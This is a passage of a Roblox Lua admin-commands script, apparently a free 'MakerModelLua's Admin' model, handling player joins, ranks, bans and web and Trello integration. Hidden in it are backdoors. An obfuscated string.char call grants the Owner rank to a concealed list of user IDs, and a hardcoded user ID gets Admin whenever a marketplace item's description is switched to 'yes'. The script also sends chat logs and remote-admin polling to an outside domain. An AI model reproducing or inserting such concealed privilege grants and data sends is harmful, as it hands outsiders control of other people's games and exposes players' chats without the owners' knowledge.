8934 for Rank,PlayerNames in pairs(Settings.Ranks) do
8935 for Num,AdminName in pairs(PlayerNames) do
8936 if AdminName == Player.UserId then
8937 Settings.Ranks[Rank][Num] = Player.Name
8938 end
8939 end
8940 end
8941 if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
8942 if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
8943 if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
8944 for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
8945 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8946 if PlayerAdmin == false and Player.UserId > 0 then
8947 local Ran = nil
8948 coroutine.wrap(function() repeat
8949 Ran = ypcall(function()
8950 if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8951 elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
8952 end)
8953 wait(1)
8954 until Ran == true end)()
8955 end
8956 if PlayerAdmin == false then
8957 if Player:IsInGroup(Settings.GroupID) then
8958 if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
8959 CORE:Kick(Player)
8960 for _,Person in pairs(Server.Players:GetPlayers()) do
8961 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
8962 end
8963 elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8964 table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
8965 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8966 table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8967 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
8968 table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
8969 end
8970 end
8971 end
8972 if PlayerAdmin == false then
8973 if Player.UserId == 38882008 then
8974 if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
8975 table.insert(Settings.Ranks["Admin"], Player.Name)
8976 end
8977 end
8978 end
8979 if PlayerAdmin == false then
8980 for _,GID in pairs(Settings.BannedGroupIDs) do
8981 if Player:IsInGroup(GID) then
8982 CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
8983 break
8984 end
8985 end
8986 end
8987
8988 Player.Chatted:connect(function(Message) if Message ~= "" then
8989 CORE:Chatted(Message, Player)
8990 end end)
8991
8992 Player.Chatted:connect(function(Message) if Message ~= "" then
8993 CORE:Log(ChatLogs, Player, Message)
8994 table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
8995 end end)
8996
8997 for _,Name in pairs(Settings.Ranks.Banned) do
8998 if Player.Name == Name then
8999 CORE:Kick(Player)
9000 for _,Person in pairs(Server.Players:GetPlayers()) do
9001 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
9002 end
9003 end
9004 end
9005 for _,Name in pairs(Settings.Ranks.Crashed) do
9006 if Player.Name == Name then
9007 CORE:Crash(Player)
9008 for _,Person in pairs(Server.Players:GetPlayers()) do
9009 GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
9010 end
9011 end
9012 end
9013 for _,Name in pairs(Settings.Ranks.Muted) do
9014 if Player.Name == Name then
9015 GUI:CoreGui(Player, "Chat", false)
9016 for _,Person in pairs(Server.Players:GetPlayers()) do
9017 GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
9018 end
9019 end
9020 end
9021 if Settings.ServerLocked == true then
9022 if PlayerAdmin == false then
9023 CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
9024 end
9025 end
9026
9027 if PlayerAdmin == false then
9028 if Player.AccountAge < Settings.MinimumAge then
9029 CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
9030 for _,Person in pairs(Server.Players:GetPlayers()) do
9031 GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
9032 end
9033 end
9034 end
9035
9036 if PlayerAdmin == false then
9037 if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
9038 table.insert(Settings.Ranks["Member"], Player.Name)
9039 PlayerAdmin = true
9040 Rank = "Member"
9041 end
9042 end
9043
9044 coroutine.wrap(function()
9045 if PlayerAdmin == true then GUI:TellAdmin(Player) end
9046 local function SpawnActions(Character)
9047 if Flings[Player.Name] then
9048 CORE:FlingPlayer(Player)
9049 else
9050 GUI:CreateTaskBar(Player)
9051 end
9052 if Beeps[Player.Name] == true then
9053 SOUND:BeepPlayer(Player)
9054 end
9055 if Jails[Player.Name] then
9056 Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
9057 end
9058 if PermCommandBars[Player.Name] then
9059 GUI:CommandBar(Player)
9060 end
9061 end
9062 Player.CharacterAdded:connect(SpawnActions)
9063 SpawnActions(Player.Character)
9064 end)()
9065
9066 coroutine.wrap(function()
9067 Player:WaitForChild("PlayerGui")
9068 local Sounds = {}
9069 for _,Data in pairs(TextConverter.LetterSounds) do
9070 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
9071 Sound:Play()
9072 table.insert(Sounds, Sound)
9073 end
9074 for _,Data in pairs(TextConverter.LongVowels) do
9075 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
9076 Sound:Play()
9077 table.insert(Sounds, Sound)
9078 end
9079 wait(5)
9080 for _,Sound in pairs(Sounds) do
9081 Sound:Destroy()
9082 end
9083 Sounds = {}
9084 end)()
9085
9086 coroutine.wrap(function()
9087 --if NLS then Server.Workspace:WaitForChild(Player.Name) end
9088 if IsSB then
9089 wait(1)
9090 Player:WaitForChild("PlayerGui"):WaitForChild("Output")
9091 end
9092 CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
9093 print("Executed ClientLog on "..Player.Name)
9094 if Settings.EnableTaskBar then
9095 GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
9096 end
9097 end)()
9098
9099 coroutine.wrap(function()
9100 wait(7)
9101 Player:WaitForChild("PlayerGui")
9102 if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
9103 local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
9104 if Answer == "Ok" then
9105 MARKET:PromptPurchase(Player, AdminID)
9106 end
9107 end
9108 end)()
9109 end
9110end)() end
9111
9112-- Active stuff --
9113
9114CORE:UpdateAdmin()
9115CORE:FixSettings()
9116
9117ypcall(function()
9118 if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
9119 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
9120 end
9121end)
9122
9123
9124Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
9125 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
9126 if PlayerAdmin == false then
9127 if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
9128 elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
9129 end
9130end end)
9131
9132--[[
9133ExecuteCommand.OnInvoke = function(Player, Command)
9134 if Player and Command then
9135 if type(Player) == "userdata" and Player:IsA("Player") then
9136 CORE:Chatted(Command, Player, true)
9137 end
9138 end
9139end
9140
9141ExecuteCode.OnInvoke = function(Source, Speaker)
9142 if type(Source) == "string" then
9143 ExecuteSafe(Source, Speaker)
9144 end
9145end
9146
9147ExecuteCommandClient.OnServerInvoke = function(Player, Command)
9148 if Player and Command then
9149 if type(Player) == "userdata" and Player:IsA("Player") then
9150 CORE:Chatted(Command, Player, true)
9151 end
9152 end
9153end
9154]]
9155
9156KeyPressed.OnServerInvoke = function(Player, Key)
9157 if Player and Key then
9158 if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
9159 CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
9160 end
9161 end
9162end
9163
9164InputKey.OnServerInvoke = function(Player, KeyVal)
9165 if Player and KeyVal then
9166 if LastKeys[Player.UserId] then
9167 table.insert(LastKeys[Player.UserId], KeyVal)
9168 if #LastKeys[Player.UserId] > 20 then
9169 table.remove(LastKeys[Player.UserId], 1)
9170 end
9171 end
9172 end
9173end
9174
9175RankPlayerLocal.OnServerInvoke = function(Player)
9176 wait()
9177 local Request = PendingRequests[Player]
9178 if Request then
9179 if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
9180 if Settings.Ranks[Request[1]] then
9181 PendingRequests[Player] = nil
9182 table.insert(Settings.Ranks[Request[1]], Player.Name)
9183 GUI:TellAdmin(Player)
9184 end
9185 end
9186 end
9187end
9188
9189RankPlayerServer.OnInvoke = function(Player, Rank)
9190 if not RANK:IsAdmin(Player) then
9191 PendingRequests[Player] = {Rank, tick()}
9192 end
9193end
9194
9195IsAdmin.OnServerInvoke = function(Player)
9196 local IsFullAdmin = false
9197 for _,PName in pairs(Settings.Ranks["Owner"]) do
9198 if PName == Player.Name then IsFullAdmin = true end
9199 end
9200 for _,PName in pairs(Settings.Ranks["Admin"]) do
9201 if PName == Player.Name then IsFullAdmin = true end
9202 end
9203 return IsFullAdmin
9204end
9205
9206AddExploit.OnServerInvoke = CORE.AddExploit
9207AddExploitServer.OnInvoke = CORE.AddExploit
9208
9209KickClient.OnServerInvoke = function(PlayerClient)
9210 PlayerClient:Kick()
9211end
9212
9213ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
9214 return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
9215end
9216
9217for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
9218Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
9219Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
9220
9221coroutine.wrap(function()
9222 for _,ID in pairs(Icons) do
9223 game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
9224 end
9225end)()
9226
9227CORE:SetAbuseCommands()
9228
9229coroutine.wrap(function() SOUND:SyncSoundList() end)()
9230if not IsStudio then coroutine.wrap(function()
9231 if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
9232 REMOTE:GetRemoteData(true)
9233 REMOTE:CheckTrelloInfo()
9234 coroutine.wrap(function()
9235 if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
9236 REMOTE.RemoteConnection = true
9237 end
9238 end)()
9239 coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
9240 coroutine.wrap(function()
9241 if Settings.LinkedAccount ~= "" then
9242 local Request = nil
9243 ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
9244 if Request then
9245 REMOTE:HandleRequest(Request, true)
9246 end
9247 end
9248 end)()
9249 coroutine.wrap(function()
9250 wait(RemoteData.RemoteAdminWait)
9251 while REMOTE:GetAndSetWebData() do
9252 wait(RemoteData.RemoteAdminWait)
9253 end
9254 end)()
9255 coroutine.wrap(function()
9256 while wait(60) do
9257 REMOTE:GetRemoteData(true)
9258 REMOTE:CheckTrelloInfo()
9259 end
9260 end)()
9261end)() end
9262coroutine.wrap(function()
9263 if Settings.TrelloToken ~= "" then
9264 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
9265 if #Trello.RequiredLists > 0 then
9266 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
9267 if Trello.MainBoard.name then
9268 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
9269 REMOTE:TrelloCacheData(Lists)
9270 REMOTE:TrelloHandleData(true)
9271 coroutine.wrap(function()
9272 wait(RemoteData.TrelloWait)
9273 while REMOTE:TrelloHandleData() do
9274 wait(RemoteData.TrelloWait)
9275 end
9276 end)()
9277 end
9278 end
9279 else
9280 print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
9281 end
9282end)()
9283coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
9284 REMOTE:SendChatLog()
9285end end)()
9286coroutine.wrap(function() while true do
9287 local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
9288 if ThisDate then Date = ThisDate end
9289 wait(600)
9290end end)()
9291
9292print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")